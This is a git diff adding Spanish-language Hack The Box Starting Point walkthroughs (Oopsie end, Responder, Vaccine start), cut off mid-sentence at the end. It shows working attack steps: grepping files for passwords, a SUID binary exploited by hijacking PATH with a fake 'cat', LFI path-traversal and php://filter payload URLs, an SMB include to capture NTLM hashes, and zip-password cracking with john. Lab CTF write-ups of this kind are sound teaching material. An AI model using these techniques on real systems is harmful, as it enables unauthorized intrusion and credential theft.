utilizar el comanado 'cat' para leer todos los archivos filtrados por 'grep'. + +Con grep utilizaremos el patrón 'passw' para tratar de roportar todas los resultados con ese inicio de palabra (como +passwd o password por ejemplo). También usaremos -i para ignorar las palabras sensibles a mayúsculas y minúsculas +como por ejemplo las contraseñas en este caso. + + cat * | grep -i passw* + + + ![Captura de pantalla -2022-04-21 08-43-19](https://user-images.githubusercontent.com/103068924/164390666-8ff742dc-30ed-4147-b5f6-9bf5fd216792.png) + + Genial, podemos ver como nos reporta un username = "admin" y una password = "MEGACORP_4dm1n!!". + + Para poder verificar los usuarios disponibles en el sistema, podemos leer el archivo /etc/passwd y tratar + de reutilizar la contrasña encontrada en alguna cuenta con altros privilegios. + + cat /etc/passwd + + ![Captura de pantalla -2022-04-21 08-51-23](https://user-images.githubusercontent.com/103068924/164391835-0f93382c-112b-4f0d-ba0b-c2efab165c22.png) + +Podemos ver como tenemos un usuario llamado 'robert'. Vamos a tratar de entrar como este usuario mediante el +comando 'su' y con la contraseña previamente encontrada. + + su robert + +![Captura de pantalla -2022-04-21 08-56-29](https://user-images.githubusercontent.com/103068924/164392632-a0950c9a-d518-4ba7-a9a0-433173395c23.png) + + +Podemos ver que la contraseña no corresponde con este usuario. Como no nos sirve está contraseña, vamos a seguir +revisando los archivos ".php" y ".js" de manera manual en busca de algo más. + +Tras revisar los cuatro archivos, vemos que en el archivo 'db.php' encontramos la siguiente información: + + cat db.php + +![Captura de pantalla -2022-04-21 09-02-58](https://user-images.githubusercontent.com/103068924/164393733-c692a948-0f9d-45ce-ac05-e7afab97ff00.png) + +Como podéis ver aparecen cuatro palabras que podemos probar como contraseñas, tras probarlas vemos como la +contraseña del usuario 'robert' es "M3g4C0rpUs3r!" + + su robert + +![Captura de pantalla -2022-04-21 09-08-58](https://user-images.githubusercontent.com/103068924/164394920-e350b001-4047-4f76-9c31-6097ef72ea92.png) + +Finalmente, estamos como el usuario 'robert', podemos comprobarlo utilizando el comando 'whoami': + +![Captura de pantalla -2022-04-21 09-10-00](https://user-images.githubusercontent.com/103068924/164396131-26ff5453-22ee-48a5-9629-18f5b73e9be9.png) + +Ahora podemos ir al directorio principal /home/robert y veremos como ahí está nuestro archivo user.txt con +nuestra primera flag que ya habíamos visto anteriormente sin necesidad de ningún privilegio. + + cd /home/robert + + cat user.txt + +![Captura de pantalla -2022-04-21 09-12-12](https://user-images.githubusercontent.com/103068924/164396519-93ccff49-d292-4047-9e64-2988711d5187.png) + +Pero nosotros lo que buscamos es la flag del super usuario y para ello debemos de escalar privilegios. + +# Escalada de Privilegios. + +En primer lugar, trataremos de iniciar sesión como super usuario mediante 'sudo': + + sudo su robert + +![Captura de pantalla -2022-04-21 09-27-12](https://user-images.githubusercontent.com/103068924/164400159-7bc36117-61a0-4dc8-87c4-9e93ab5bb34c.png) + +Tras probar las contraseñas previamente recopiladas vemos como ninguna parece funcionar. Vamos a seguir buscando +información, está vez, vamos a revisar los grupos en los que forma parte el usuario 'robert', para ello +utilizaremos el comando 'id': + +![Captura de pantalla -2022-04-21 09-33-56](https://user-images.githubusercontent.com/103068924/164402956-9fb36b29-d5cb-4e17-8efb-742d75145cd8.png) + +Vemos como el usuario robert es parte del grupo 'bugtracker'. Ahora, intentemos ver si hay algún +binario dentro de ese grupo: + + find / -group bugtracker 2>/dev/null + +![Captura de pantalla -2022-04-21 09-42-23](https://user-images.githubusercontent.com/103068924/164404634-e6d61c58-7fff-4e55-a6f7-b9a0a06aed99.png) + +Nos ha reportado un archivo llamado 'bugtracker'. Ahora comprobamos qué privilegio y qué tipo de archivo es: + + ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker + +![Captura de pantalla -2022-04-21 09-47-02](https://user-images.githubusercontent.com/103068924/164405567-6055d680-b99b-4635-a3ad-a2c54ad77b82.png) + +Podemos ver que existe un conjunto 'SUID' en ese binario, este es un buen camino de explotación para tratar de +escalar privilegios. + +Un archivo SUID siempre se ejecuta como el usuario propietario del archivo, independientemente de que usuario +pase el comando. + +En nuestro caso, el 'butracker' binario es propiedad de 'root' y por tanto, podemos ejecutalo como root ya +que tiene configurado SUID. + +Para ello ejecutamos 'bugtacker': + + /usr/bin/bugtracker + +![Captura de pantalla -2022-04-21 09-57-05](https://user-images.githubusercontent.com/103068924/164786353-6e21c5ef-1b8e-465b-808e-371ac1f3b293.png) + +En mi caso probé con 'home' para ver que me reportaba: + +![Captura de pantalla -2022-04-21 10-01-29](https://user-images.githubusercontent.com/103068924/164786858-de17dddb-948d-4cd9-82b6-0fb270d85340.png) + +La herramienta acepta la entrada del usuario como nombre del archivo que se leerá con el comando 'cat'. Sin embargo, no especifica la ruta completa al archivo 'cat' y podríamos aprovechar esto. + +Para ello nos dirigiremos al directorio '/tmp': + + cd /tmp + +![Captura de pantalla -2022-04-21 10-49-05](https://user-images.githubusercontent.com/103068924/164787581-b841e8fc-9f0c-4d90-bc2c-22f9c44b40d3.png) + + +Y crearemos un archivo 'cat' que contenga la siguiente ruta '/bin/sh': + + echo '/bin/sh' > cat + + ![Captura de pantalla -2022-04-21 10-49-22](https://user-images.githubusercontent.com/103068924/164787634-3a48e291-f6e5-4415-8bbb-54f197c02657.png) + +Ahora le tenemos que dar privilegios de ejecución: + + chmod +x cat + +![Captura de pantalla -2022-04-21 10-49-52](https://user-images.githubusercontent.com/103068924/165099961-3373a75c-d7b5-4f97-b733-9df7805772fd.png) + + +Una vez preparado el archivo 'cat', debemos agregar el directorio /tmp a la variable ambiental PATH. + +PATH es una variable de entorno en sistemas operativos similares a Unix, DOS, OS/2 y Microsoft Windows, que especifica un conjunto de directorios donde se encuentran los programas ejecutables. + +Por tanto, debemos introducir el directorio 'tmp' en el archivo PATH +para poder ejecutarlo correctamente. Para ello utilizamos el siguiente comando: + + export PATH=/tmp:$PATH + +![Captura de pantalla -2022-04-21 10-48-24](https://user-images.githubusercontent.com/103068924/165100226-c25d5a72-39a6-4083-9aa4-1d58c4a85179.png) + +Para confirmar que todo ha salido correctamente y verificar que el directorio 'tmp' está en PATH: + + echo $PATH + + +![Captura de pantalla -2022-04-25 15-40-24](https://user-images.githubusercontent.com/103068924/165100883-46db8497-56b3-4782-9343-7d6947b4a26d.png) + +Ahora, volvemos a ejecutar 'bugtracker' desde el directorio '/tmp': + +![Captura de pantalla -2022-04-25 15-46-04](https://user-images.githubusercontent.com/103068924/165101887-a7662ee4-3c1a-4a84-8302-cdd067ca5e3b.png) + +Genial, ya estamos registrados como 'root'. Finalmente, nos dirigimos al directorio '/root' donde encontramos el archivo 'root.txt.'. + +Para poder leer el archvio nos registramos como super usuarios: + + sudo su + +Y abrimos el archivo con 'cat' donde encontramos la última Flag: + + cat root.txt + + + ![background2](https://user-images.githubusercontent.com/103068924/165103059-55b4a1b6-f646-46aa-8b5a-47a804187541.png) + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Starting Point/HTB-Responder.md b/Web/Starting Point/HTB-Responder.md new file mode 100644 index 00000000000..8d41733b9a0 --- /dev/null +++ b/Web/Starting Point/HTB-Responder.md @@ -0,0 +1,319 @@ + +![HTB-Responder](https://user-images.githubusercontent.com/103068924/162617408-a52c43fa-17f9-4b84-b875-2417a6381e7e.png) + +# HTB-RESPONDER +Resolución de la starting_point de HTB Responder. + +En primer lugar debemos asegurar que estamos conectados a la víctima y tratar de recopilar la máxima información posible. + +## PING + +Para verificar la conexión y tener una primera toma de contacto utilizaremos el comando `ping`. + + ping [Ip Víctima] + +Mediante este comando podemos obterner la siguiente información: + + - Verificar la conexión. + - La latencia. Podemos observar el tiempo de recorrido de un paquete. + - Podemos optener la Ip de un dominio. + - Determinar si estamos frente a un SO Linux o Windows: + Windows ttl = 128 + Linux ttl = 64 + +![Captura de pantalla -2022-04-11 18-56-44](https://user-images.githubusercontent.com/103068924/162793073-6d60a6aa-c01b-4b66-b42b-f835402cd39d.png) + +Como podemos ver tenemos conexión ya que nos devuelve los paquetes enviados y tambien podemos determinar que estamos frente a una máquina Windows, ya +que nos muestra un ttl=127. + +## NMAP + +Tras conocer la máquina a la que nos enfrentamos pasaremos analizar los protocolos tcp/udp. + +Primero analizaremos lo puertos tcp ya que son los más utilizados y los más rápidos de escanear. + +Mediante nmap realizaremos varios escaneos, el primero será un analisis de todos los puertos abiertos del protocolo tcp. + +![Captura de pantalla -2022-04-11 18-58-03](https://user-images.githubusercontent.com/103068924/162793045-8827ee25-bc83-44b0-8bb9-1c35eded3f38.png) + + nmap -p- --open -T5 -v -n [Ip Víctima] -oG allPorts + + -p- : Escanea todo el rango de puertos. + + --open : Solo nos mostrará puertos con el estatus abierto. + + -T5 : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. + + -v : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. + + -n : Anula la resolución DNS. + + -oG : Nos exporta los resultados en formato grepeable. + + allPorts : Es el archivo donde se guardan los resultados. + + Gracias a la función `extractPorts` podremos acceder en cualquier momento a los resultados guardados en el archivo `allPorts` y poder copiar y pegar + de forma ráìda sin tener que volver a realizar el escaneo. + + Podreís encontrar la función 'extractPorts' en mi repositorio. + + Realizamos el escaneo con nmap: + +![nmap2-HTB-REsponder](https://user-images.githubusercontent.com/103068924/162617839-1d17489e-72a4-4ecd-af53-da7447481361.png) + +Podemos ver como nos muestra tres puertos abiertos. Tras conocer los puertos TCP abiertos, realizaremos un segundo escaneo enfocado solo en los puertos +abiertos para verla información que nos reportan y exportarlo en formato nmap al archivo `targed`. + + ![Captura de pantalla -2022-04-11 19-01-25](https://user-images.githubusercontent.com/103068924/162792939-c44ed297-d464-4c6c-bc52-c65dabaa83d0.png) + + nmap -sC -sV -p[Port1,Port2] [Ip Víctima] -oN target + + -sC : Lanza scrips básicos de reconocimiento. + + -sV : Localiza la versión y servicio de los puertos definidos. + + -p : Puertos a escanear. Ej: -p80,5985,7680 + + -oN : Reporta los resultados en formato nmap al archivo 'target'. + +![Captura de pantalla -2022-04-11 19-03-52](https://user-images.githubusercontent.com/103068924/162792891-3feca646-e0be-44fe-bbdc-e3efa5aa1865.png) + +Ya tenemos un poco más de información, podemos ver como el puerto 80 tiene un servicio http. +Vamos a tratar de comprobar en el navegador si podemos acceder algún dominio mediante la ip +de la máquina. + +Para ello nos dirigiremos al navegador (en mi caso firefox) y al tratarse de un sevicio http introduciremos la siguiente url: + + http://[Ip Víctima] + +![Captura de pantalla -2022-04-11 19-20-45](https://user-images.githubusercontent.com/103068924/162795151-ad70832b-42d8-4e45-96ce-f0ce3dce181d.png) + +![Captura de pantalla -2022-04-08 09-53-42](https://user-images.githubusercontent.com/103068924/162795451-2bbc001e-ea35-40a4-a27e-904c7cbce53d.png) + +![Captura de pantalla -2022-04-08 09-54-10](https://user-images.githubusercontent.com/103068924/162796155-5962787f-1619-437a-bc8c-8c5b365ff4dc.png) + +Como podemos ver, la dirección no nos carga, pero al fijarnos en la url vemos que nos redirige a una página llamada 'unika.htb'. Tener en cuenta que +firefox al no poder cargar la página en http automáticamente cambia a https para tambien tratar de cargar. Por eso que en firefox al tratar +de cargar la página finalmente nos muestra https pero la página a la que tenemos que acceder es: + + http://unika.htb + +Al igual que en máquinas anteriores, vamos a tratar de introducir los datos del dominio en nuestra carpeta de hosts para ver si podemos cargar la paǵina. + +Para ello nos dirigiremos al directorio '/etc/hosts' y introduciremos la Ip de la vítima y el host al que corresponde: + + sudo nano /etc/hosts + + ![Captura de pantalla -2022-04-11 19-39-18](https://user-images.githubusercontent.com/103068924/162798184-53e76dbb-ed24-4b98-9729-efc9b04efa3b.png) + +Introducimos al final del archivola ip y el nombre del host (unika.htb) separados por un espacio. + +![Captura de pantalla -2022-04-11 19-40-46](https://user-images.githubusercontent.com/103068924/162798145-483adee5-9d1d-4e36-8f7f-4abbe371e1e2.png) + +Guardamos: Cntrl + o + +Salimos: Cntrl + x + +Una vez terminado esto, regresamos a nuestro navegador y tratamos de recargar la página `http://unika.htb`. + +![Captura de pantalla -2022-04-08 10-20-23](https://user-images.githubusercontent.com/103068924/162798526-041b6223-048d-43d7-a4bf-3610c6f95e71.png) + +Genial, ya tenemos acceso a la página. Como podemos ver, se trata de una empresa de diseño y estetica web. +Ahora vamos a tratar de revisar la página para buscar algo que nos pueda servir. + +Despues de estar un rato revisando la página veo que la unica pestaña que parece hacer algo es la EN, que nos ofrece poder cambiar de idioma. + +![Captura de pantalla -2022-04-11 20-09-20](https://user-images.githubusercontent.com/103068924/162803508-7136d632-8a13-4123-98f1-47d6375ed705.png) + +Al cambiar al frances (FR) o al alemán (DE), algo interesante es que la página cambia de url y nos redirige a una página html (más vulnerable). + +![Captura de pantalla -2022-04-11 20-15-17](https://user-images.githubusercontent.com/103068924/162803532-ac1ae87d-fcb3-4f96-aafc-ecc2a8c9306a.png) + +Los sitios web dinámicos incluyen páginas HTML sobre la marcha utilizando información de la solicitud HTTP para incluir parámetros GET y POST, cookies +y otras variables. Es común que una página incluya otra página en función de algunos de estos parámetros. + +Para tratar de acceder al sistema, vamos a utilizar una tecnica conocida como Local Fail Intrusion LFI. + +## Local Fail Intrusion + +Un local fail intrusion (inclusión de archivos locales) ocurre cuando un atacante puede hacer que un sitio web incluya un archivo que posteriormente +utilizará en su beneficio. + +Si la aplicación trata esta entrada como confiable y no se realizan las comprobaciones de seguridad requeridas en esta entrada, entonces el atacante +puede explotarla usando la cadena ../ en el nombre de la página ingresada y eventualmente ver los archivos confidenciales en el sistema de archivos +local. + +La cadena `../` se usa para recorrer un directorio hacia atras, uno a la vez. Por lo tanto, se incluyen varias cadenas `../` en la URL para que el +controlador de archivos en el servidor vuelva al directorio base, es decir, `C:`. + +Luego, cargaremos un archivo remoto en el host proporcionandole un nombre comun en windows para que el sistema no pueda detectarlo como malicioso. + +Uno de los archivos más comunes a los que un probador de penetración podría intentar acceder en una máquina con Windows para verificar LFI es el +archivo de 'hosts'. + + WINDOWS/System32/drivers/etc/hosts + +(Este archivo ayuda en la traducción local de nombres de host a direcciones IP). + +En nuestro caso vemos que al cambiar de idioma al frances (FR) se nos muestra una `page=` en la url. Aquí es donde mediante la cadena `../` +retrocederemos hasta el directorio inicial y luego nos dirigiremos al archivo `hosts`. Para ello introduciremos las siguientes ordenes en la url. + + http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts + +![Captura de pantalla -2022-04-11 21-38-44](https://user-images.githubusercontent.com/103068924/162816667-ebe0d677-98bc-43bf-8470-ad7a6f6383ad.png) + +Como se puede ver, el Local File Inclusion es posible ya que podemos ver el contenido del archivo `host` en situado en el directorio +`C:/windows/system32/drivers/etc/hosts`. + +![Captura de pantalla -2022-04-11 21-33-58](https://user-images.githubusercontent.com/103068924/162816016-aa5b7b18-5f76-497a-82f3-ea4a9cb5211e.png) + +Esto es posible porque en el backend se usa el método 'include()' de PHP para añadir las URL de las página web de otros idiomas. Y debido a que no se +realiza una desinfección adecuada en este parámetro, pudimos pasar entradas maliciosas y ver los archivos internos del sistema. + +## Include() + +El metodo `include()` en php, toma todo el texto/código/marcado que existe en el archivo especificado y lo carga en la memoria, haciéndolo disponible +para su uso. + +Sabemos que esta página web es vulnerable a la vulnerabilidad de inclusión de archivos y se sirve ben un máquina de ventanas. Por lo tanto, existe la +posibilidad de incluir un archivo en la estación de trabajo de nuestro atacante. + +Podemos utilizar un protocolo como SMB para que Windows intente autenticarse en nuestra máquina y poder capturar el `NetNTLMv2`. + +## NTLM + +NTLM es una colección de protocolos de autenticación creados por Microsoft. + +El proceso de autenticación NTLM se realiza de la siguiente manera: + + 1. El cliente envía el nombre de usuario y el nombre de dominio al servidor. + + 2. El servidor genera una cadena de caracteres aleatorios, denominada desafío y la devuelve al cliente. + + 3. El cliente cifra el desafío con el hash NTLM de la contraseña del usuario y lo envía de vuelta al servidor. + + 4. El servidor recupera la contraseña de usuario (o equivalente). + + 5. El servidor utiliza el valor hash recuperado de la base de datos de la cuenta de seguridad + para cifrar la cadena de desafío. Luego, el valor se compara con el valor recibido del cliente. + Si los valores coinciden, el cliente se autentica. + + En el archivo de configuración `php.ini` de la maquina, si `allow_url_include` está configurado en `Desactivado` + de forma predeterminada indica que PHP no carga URL HTTP o FTP remotas para evitar ataques de inclusión + de archivos remotos. + + Sin embargo, incluso si allow_url_include y allow_url_fopen están configurados en `Off`, PHP no impedirá + la carga de URL de SMB. + + En nuestro caso, podemos hacer un mal uso de esta funcionalidad para robar el hash NTLM. + + Ahora, podemos intentar cargar una URL de SMB y capturar los valores hash del objetivo mediante 'Responder'. + +## Herramienta Responder + + Responder es una herramienta que puede realizar muchos tipos diferentes de ataques, pero para este escenario, + configurará un servidor SMB malicioso. + + Cuando la máquina de destino intenta realizar la autenticación NTLM en ese servidor, Responder devuelve un + desafío para que el servidor cifre con la contraseña del usuario. + + Cuando el servidor responde, Responder utilizará el desafío y la respuesta cifrada para generar el NetNTLMv2. + + Si bien no podemos revertir NetNTLMv2, podemos probar muchas contraseñas comunes diferentes para ver si + alguna genera la misma respuesta de desafío y, si encontramos una, sabemos que esa es la contraseña. + + Esto a menudo se conoce como descifrado de hash, lo que haremos con un programa llamado `John The Ripper`. + + Primero nos clonaremos el repositorio de la herramienta Responder del siguiente repositorio: + + sudo git clone https://github.com/SpiderLabs/Responder + +![Captura de pantalla -2022-04-11 22-28-50](https://user-images.githubusercontent.com/103068924/162826505-7365e10f-5098-48a6-9442-97f614dfd888.png) + + Recordar que el repositorio `Responder` se clonara el directorio en el que nos encontremos. + Ahora podemos ver como dentro del directorio 'Responder' se han clonado los siguientes archivos: + + ![Captura de pantalla -2022-04-11 22-31-04](https://user-images.githubusercontent.com/103068924/162827046-93ba9dfa-fbe9-4396-bbaa-af556f168f95.png) + + Ahora vamosa a comprobar que en archivo 'Responder.conf' tenemos configurados los parametros de escucha + SQL y SMB en On. Para ver el archivo podemos utilizar el comando 'cat' y para modificarlo el comando 'nano'. + + nano Responder.conf + + ![Captura de pantalla -2022-04-11 22-45-54](https://user-images.githubusercontent.com/103068924/162829073-13d21638-c3a8-4f37-a686-eec04a244055.png) + + En caso de estar en modo off lo cambiamos al on, guardamos (Cntrl + o) y salimos (Cntrl + x). + + Ya tendriamos la herramienta Responder preparada. Ahora debemos iniciar Responder con python3 y utilizar el indicado `-I` para activar el modo escucha. + + sudo python3 Responder.py -I tun0 + +![Captura de pantalla -2022-04-11 22-58-20](https://user-images.githubusercontent.com/103068924/162831086-07194fd6-8afb-40a1-ad6f-1b65af7975be.png) + +![Captura de pantalla -2022-04-11 22-59-03](https://user-images.githubusercontent.com/103068924/162831102-c08c5c76-bac8-4c54-821b-466124bfd0eb.png) + + Una vez tenemos el Responder listo y en escucha, debemos configurar un parámetro dentro del servidor de la máquina para que incluya un recurso de + nuestro servidor SMB. + + Este parámetro lo configuraremos mediante el navegador web. Para ello incluiremos nuestra ip (tun0) lo cual podemos ver mediante el comando `ifconfig`. + + http://unika.htb/?page=//[Ip de nuestra tun0]/somefile + +![Captura de pantalla -2022-04-12 00-04-50](https://user-images.githubusercontent.com/103068924/162841324-0250adad-5f7f-49ed-b487-81740e71a37a.png) + +Tras intentar realizar la escucha varias veces y recargar la página no consdigo establecer la conexión. +He revisado varias veces la configuración y por algún motivo Responder no me funciona. + +# File Local Inlcusion PHP + +Así que tras ver que con Responder no podía, empece a buscar vulnerabilidades comunes de File Local Intrusion +y tras mucho investigar encontre una intrusión conocida como wrapper `php//filter`. + +Donde básicamente mediante el buscador, incluimos una dirección que nos reporta el hash en base64. +Tras probar las distintas obciones, está fue la que me funciono a mi: + + page=php://filter/convert.base64-encode/resource=index.php + +Aqui podeís encontrar más información y más vulnerabilidades de Local File Intrusion PHP: +[https://book.hacktricks.xyz/pentesting-web/file-inclusion](https://book.hacktricks.xyz/pentesting-web/file-inclusion) + +![Captura de pantalla -2022-04-12 00-21-23](https://user-images.githubusercontent.com/103068924/162842965-294ea05b-12cf-4ec2-a433-38b95db263a9.png) + +Lo introduciomos en el buscador: + +![Captura de pantalla -2022-04-12 00-26-52](https://user-images.githubusercontent.com/103068924/162843528-2e662ba0-3eac-4d45-9d45-baf37a28d250.png) + + http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php + +Y al recargar la página podemos ver como se nos reporta un hash en base64. + +![Captura de pantalla -2022-04-12 00-35-10](https://user-images.githubusercontent.com/103068924/162844358-0814ecd9-5089-43f5-abdc-b0aa0a863e9c.png) + +Lo copiaremos para poder pasarlo a una terminar y tratar de descifrarlo. + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Starting Point/HTB-Vaccine.md b/Web/Starting Point/HTB-Vaccine.md new file mode 100644 index 00000000000..f5e2c8ebda6 --- /dev/null +++ b/Web/Starting Point/HTB-Vaccine.md @@ -0,0 +1,478 @@ +![vaccine_banner](https://user-images.githubusercontent.com/103068924/165231176-ea7b6551-bdd2-4f3a-a5ba-5117de037506.png) + +![Captura de pantalla -2022-04-26 08-13-51](https://user-images.githubusercontent.com/103068924/165234105-c74265cb-61e5-4ae5-abe7-0ee2dd77343d.png) + +# HTB-Vaccine + +Resolución del starting poing de Hack the Box Vaccine. + +## Fase de Reconocimiento: + +### Ping: + +![Captura de pantalla -2022-04-26 08-15-05](https://user-images.githubusercontent.com/103068924/165234174-ecb99114-7e36-4198-920b-d2b20f0397fd.png) + +En primer lugar, vamos a comprobar si tenemos conexión con la máquina. Y si podemos averiguar el sistema +operativo que utiliza mediante el ttl. + + ping [Ip Víctima] + +Podemos observar que tiene un ttl=63, por tanto, ya sabemos que estamos frente a una máquina Linux. + +### Nmap - Primer escaneo: + +Ahora podemos escanear los puertos mediante nmap. + + nmap -p- --open -T5 -n -v [Ip Víctima] -oG allPorts + +Esto nos guardará los puertos abiertos en el archivo `allPorts` por si posteriormente queremos revisarlos +de manera rápida accediendo al archivo guardado en nuestro directorio mediante la herramienta `extractPorts`. + +![Captura de pantalla -2022-04-26 08-27-45](https://user-images.githubusercontent.com/103068924/165235713-58183ec0-1a5a-47c7-bc14-280e3c01a3e5.png) + +Puedes encontrar la descripción y la herramienta extractPorts creada por S4vitar en mi repositorio: + [ExtractPorts](../Herramientas_y_Scripts/ExtractPorts.md) + + ![Captura de pantalla -2022-04-26 08-28-45](https://user-images.githubusercontent.com/103068924/165235873-224f1a07-302a-44f8-9a98-1ed1fe43b982.png) + + Es este caso podemos observar los puertos 21, 22 y 80 abiertos por el protocolo TCP. + +### Nmap -Segundo escaneo: + +Ahora pasaremos a realizar un escaneo más exhaustivo utilizando una serie de scrips de reconocimiento: + + ![Captura de pantalla -2022-04-26 08-32-53](https://user-images.githubusercontent.com/103068924/165236651-4c5809ad-145d-46a0-8633-a73f39a7cc16.png) + + nmap -sC -sV -v -p21,22,80 [Ip Víctima] -oN target + + -sC : Lanza scrips básicos de reconocimiento. + + -sV : Localiza la versión y servicio de los puertos + definidos. + + -p : Puertos a escanear. Ej: -p21,22,80 + + -oN : Reporta los resultados en formato nmap al archivo + targed. + +![Captura de pantalla -2022-04-26 08-33-37](https://user-images.githubusercontent.com/103068924/165236706-0e296151-667e-416a-aa1f-7ce1736086e7.png) + +Este escaneo, al igual que el anterior, nos guardará los resultados en nuestro directorio en el archivo `target`. +Para abrir este archivo podemos utilizar el comando `cat`. + +### Recopilación de los resultados: + +- Puerto 21/tcp: + +Algo interesante que podemos observar en el reporte de nmap es que el puerto 21/tcp permite el acceso mediante +el inicio de sesión Anonymous. Este inicio de sesión por defecto nos permite entrar con el usuario `anonymous` +y sin necesidad de utilizar contraseña. + +También podemos observar que se encuentra un archivo disponible `backup.zip`. + +- Puerto 22/tcp: + +Aquí podemos ver que tenemos un servicio ssh activo, usando un sistema Ubuntu. + +- Puerto 80/tcp: + +El puerto 80 tiene un servicio http activo, el cual, si nos dirigimos a firefox, podemos ver que nos redirige +hasta una página de registro: + +![Captura de pantalla -2022-04-26 08-50-57](https://user-images.githubusercontent.com/103068924/165239253-c94d3b6a-b2eb-40d3-b146-a856f5a25a7c.png) + +![Captura de pantalla -2022-04-26 08-51-56](https://user-images.githubusercontent.com/103068924/165239453-047552e4-a3da-4c9e-b7c0-1664b3d61ba8.png) + +Tras probar los usuarios y contraseñas más comunes no conseguimos entrar, por tanto, seguiremos investigando. + +En primer luegar, vamos a tratar de acceder como el usuario 'anonymous' por el puerto 80 que utiliza un servicio FTP +y descargar el archivo `backup.zip`. + +Para ello emplearemos el comando `ftp` y especificando el usuario `anonymous`, luego nos pedirá una contraseña, +como este usuario no requiere de contraseñas, simplemente presionamos Enter. + + ftp [Ip Víctima] + +![Captura de pantalla -2022-04-26 09-05-06](https://user-images.githubusercontent.com/103068924/165241789-d74af7bc-e2d4-447e-a14d-bb9ba38c8c62.png) + +Ahora, mediante un `ls` o un `dir`, vamos a tratar de ver que archivos encontramos: + +![Captura de pantalla -2022-04-26 09-08-17](https://user-images.githubusercontent.com/103068924/165242129-6e01a7d9-8a34-4830-8d2d-fc048d9cb36b.png) + +En mi caso no me permite ejecutar ninguno de los dos comandos. Pero como podemos ver, nos reporta que consideremos +utilizar PASV. Para ello, debemos activar el modo `passive`: + + passive + +![Captura de pantalla -2022-04-26 09-32-35](https://user-images.githubusercontent.com/103068924/165246354-7861cf17-7af4-46c5-aebf-27b9f840e97f.png) + +Tras activar el modo `passive` ya podremos utilizar el comando `ls`: + +![Captura de pantalla -2022-04-26 09-33-33](https://user-images.githubusercontent.com/103068924/165246513-1911dca6-689c-44c5-8276-04b01aab9b4d.png) + +Podemos ver que tenemos aquí el archvivo 'backup.zip'. Para tratar de descargarlo utilizaremos el comando `get`. +Recordar que podeis ver todos los comandos disponibles dentro se la shell de ftp utilizando el comando `help`. + +![Captura de pantalla -2022-04-26 09-37-02](https://user-images.githubusercontent.com/103068924/165247149-0af2a731-576c-45dd-9485-49d4e640cb10.png) + +Para descargar el archivo.zip: + + get backup.zip + +![Captura de pantalla -2022-04-26 09-39-21](https://user-images.githubusercontent.com/103068924/165247598-bf683380-5a76-4d0d-9859-c331c7d253f4.png) + +Tener en cuenta que la shell está es muy inestable, en caso de error o de reportaros un `Not Service` cerrar la shell +con el comando `exit` y volver a iniciar la shell siguiendo todos los pasos de manera continua, ya que a los pocos +minutos, se desconecta. + +Una vez descargado el archivo.zip, cerramos la shell ftp y nos dirigimos al directorio donde hemos descargado el +arhcivo `backup.zip`. + +![Captura de pantalla -2022-04-26 09-44-48](https://user-images.githubusercontent.com/103068924/165248630-8bfff5ae-d750-441f-bedd-064368a699b0.png) + +Como podeís ver, tenemos los dos archivos previamente creados con nmap (allPorts y target) y nuestro archivo .zip. +Vamos a crear un directorio mediante `mkdir` llamado `Backup` y vamos a introducir el archivo .zip para luego tratar +de descomprimirlo. + + mkdir Backup + + mv backup.zip ./Backup/ + +Una vez dentro del nuevo directorio, aplicaremos el comando `unzip` para tratar de descomprimirlo: + + unzip backup.zip + + +![Captura de pantalla -2022-04-26 09-52-39](https://user-images.githubusercontent.com/103068924/165250029-0c343ba8-29ae-446e-91e7-87b7b2160eff.png) + +Al intentar descomprimir el archivo nos pide una contraseña, como desconozco la contraseña, presionado `Enter` +podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.php y style.css): + +![Captura de pantalla -2022-04-26 09-57-17](https://user-images.githubusercontent.com/103068924/165250925-0f1270d2-0200-426e-9f64-8c475f88bfde.png) + +Como desconocemos la contraseña, vamos a utilizar la herramienta John the Ripper para tratar de descifrarla. En +caso de no tener la herramienta instalada o queráis leer más sobre ella podréis encontrarlo en el siguiente enlace: [John the Ripper](../Herramientas_y_Scripts/john_the_ripper.html) + +### John the Ripper: + +Nos posicionamos en el directorio donde se encuentre el archivo backup.zip: + +![Captura de pantalla -2022-04-26 11-34-30](https://user-images.githubusercontent.com/103068924/165270196-a2119a6d-fbf6-4446-abcc-8b80574b37ef.png) + +En primer lugar, vamos a extraer el hash del archivo `backup.zip`, para ello utilizaremos el comando zip2john y +guardaremos los resultados en un archivo nuevo que llamaremos `hash1`: + + zip2john 'backup.zip' > hash1 + +![Captura de pantalla -2022-04-26 11-35-49](https://user-images.githubusercontent.com/103068924/165270443-5ec033b6-43b8-4b81-97aa-a851d3fc2118.png) + +Como podemos ver, se nos ha generado un nuevo archivo en nuestro directorio actual con el nombre de `hash1`. + +![Captura de pantalla -2022-04-26 11-38-15](https://user-images.githubusercontent.com/103068924/165270953-0592de7a-bf31-4e9b-b64c-3c65a8c3cd98.png) + +Mediante `cat` podemos ver su contenido, el hash extraído del archivo .zip. + + cat hash1 + +![Captura de pantalla -2022-04-26 11-39-08](https://user-images.githubusercontent.com/103068924/165271131-4fae266f-0d0e-4caa-87ec-3da52138de98.png) + +Perfecto, ya tenemos nuestro hash listo para explotarlo, ahora mediante la herramienta John, vamos a tratar de +descifrar el `hash` mediante un diccionario de fuerza bruta llamado `rockyou.txt`. Rockyou.txt es un diccionario +con más de 14 millones de contraseñas, el cual se puede encontrar por internet en distintos repositorios. + +Es aconsejable alojar el archivo rockyou.txt en la ruta `/usr/share/wordlists/`. + +Para ejecutar el ataque por diccionario con John, utilizaremos la variable `--wordlist` especificando la ruta del +diccionario, y luego, también especificamos el archivo que queremos tratar de descifrar, en nuestro caso `hash1`: + + john --worlist=/usr/share/wordlists/rockyou.txt hash + +![Captura de pantalla -2022-04-26 11-49-04](https://user-images.githubusercontent.com/103068924/165273100-baee1cfa-ed29-4ab1-beeb-a2cb3f2c66fb.png) + +Como podemos ver, la herramienta John enseguida nos reporta que ha procesado 1 contraseña y que no quedan más hashes +que crackear. + +Para poder ver la contraseña simplemente utilizamos John con la variable `--show` y especificar el archivo. + + john --show hash1 + +![Captura de pantalla -2022-04-26 